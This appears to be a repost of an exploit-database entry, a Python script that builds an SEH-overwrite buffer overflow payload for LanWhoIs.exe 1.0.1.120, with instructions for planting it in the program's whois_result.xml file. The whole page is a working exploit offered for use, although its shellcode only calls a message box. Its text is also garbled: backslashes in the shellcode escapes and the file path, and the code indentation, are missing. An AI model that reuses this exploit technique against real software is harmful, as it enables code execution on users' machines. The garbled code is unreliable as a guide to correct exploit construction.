Home / os / winmobile

LanWhoIs.exe 1.0.1.120 SEH Local Buffer Overflow

Posted on 07 November 2016

#!/usr/bin/python
# -*- coding: utf-8 -*-

### LanWhoIs.exe 1.0.1.120 SEH Local Buffer Overflow Exploit by H3ku ###

# Date: 2016-10-26
# Exploit Author: H3ku
# Exploit Title: LanWhoIs.exe 1.0.1.120 SEH Overflow Exploit
# Vendor Homepage: http://lantricks.com
# Software Link: https://www.exploit-db.com/apps/70189a2b11bf85245ebcc00b603b5def-lanwhois_setup.exe
# Version: 1.0.1.120
# Tested on: Win7 64bit - Win10 64bits

# Credits
# =======
# PoC by: hyp3rlinx - http://hyp3rlinx.altervista.org
# https://www.exploit-db.com/exploits/38404/
# Thanks to n30m1nd for clarifying my doubts in the amazing world of exploiting!

# How to
# ======
# * Run this python script. It will generate an "exploit.txt" file.
# * Copy the contents in to C:Program Files (x86)LanTricksLanWhoIswhois_result.xml (Parameter <QueryString>)
# * Select the address in the Results window pane and then click Query button to run a whois lookup or use 'F3'
# * MessageBoxA is called on an infinite loop since the exception handler is triggered all the time

# Exploit code
# ============

import struct

# MessageBoxA in 00404A2C
shellcode = ("x25x41x41x41"
"x41x25x32x32"
"x32x32x50x68"
"x70x77x6Ex64"
"x54x5Fx50x57"
"x57x50x35x51"
"x7Ax70x50x35"
"x7Dx30x30x50"
"x50xC3")

payload = "A"*550
payload += shellcode
payload += "A"*(126-len(shellcode))
nseh = "xEBx80x90x90" #jmp $-126
seh = struct.pack("<L", 0x00402b56) #POP ECX - POP EBP - RETN

payload += nseh + seh

with open("exploit.txt", "wb") as f:
f.write(payload[:-1])
f.close()

 

TOP